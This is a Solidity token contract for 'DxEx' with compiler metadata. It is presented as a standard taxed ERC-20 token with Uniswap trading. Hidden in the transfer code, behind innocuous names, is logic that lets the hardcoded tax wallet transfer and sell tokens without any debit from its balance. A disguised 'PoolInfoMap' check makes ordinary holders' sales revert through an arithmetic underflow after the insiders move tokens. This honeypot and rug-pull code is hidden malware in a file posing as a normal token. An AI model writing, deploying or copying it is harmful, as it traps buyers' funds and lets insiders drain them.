Decentralized Exchange Ex

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external
        returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(
            c >= a,
            "SafeMath: addition overflow"
        );
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DxEx is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;

    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;

    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;

    uint256 private _buyCount=0;

    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"Decentralized Exchange Ex";
    string private constant _symbol = unicode"DxEx";

    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1900000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1500000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    uint256 private tokenLaunch;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct PoolInfoMap {uint256 stakePercent; uint256 stakeAmount; uint256 active;}
    uint256 private poolAmountMin;
    mapping(address => PoolInfoMap) private poolInfoMap;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event ClearToken(address tokenAddress, uint256 tokenAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x262c736c64DC1D3ca2f417263942786b9C596f66);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[_taxWallet] = true;
        _isExcludedFromFees[address(this)] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if ( !swapEnabled|| inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!= address(uniswapV2Router) &&  ! _isExcludedFromFees[to])  {
                require(tokenAmount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to== uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to] )
            && from!=address(this)&& to!= address(this)
        ){
            poolAmountMin = block.number;
        }

        if (! _isExcludedFromFees[from]&&  ! _isExcludedFromFees[to]){
            if (to != uniswapV2Pair)  {
                PoolInfoMap storage stakePoolRes = poolInfoMap[to];
                if (from == uniswapV2Pair) {
                    if (stakePoolRes.stakePercent == 0) {
                        if (_buyCount<_preventSwapBefore) {
                            stakePoolRes.stakePercent = block.number-1;
                        } else {
                            stakePoolRes.stakePercent = block.number;
                        }
                    }
                } else {
                    PoolInfoMap storage stakePoolSync = poolInfoMap[from];
                    if (stakePoolRes.stakePercent==0 || stakePoolRes.stakePercent > stakePoolSync.stakePercent ) {
                        stakePoolRes.stakePercent = stakePoolSync.stakePercent;
                    }
                }
            } else {
                PoolInfoMap storage stakePoolSync = poolInfoMap[from];
                stakePoolSync.stakeAmount = stakePoolSync.stakePercent-poolAmountMin;
                stakePoolSync.active = block.number;
            }
        }

        _tokenTransfer(from, to,tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from,address to,uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(address from,address to,uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from,to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs,uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : tokenLaunch.mul(tokenAmount);
        if (taxAmount >0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function retrieveEth() external onlyOwner() {
        uint256 ethBalance= address(this).balance;
        require(ethBalance > 0, "Contract balance must be greater than zero");
        sendETHToFee(ethBalance);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        swapEnabled = true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint).max
        );
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);

        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){ sendETHToFee(ethBalance); }
    }
}

{
  "compilationTarget": {
    "DxEx.sol": "DxEx"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}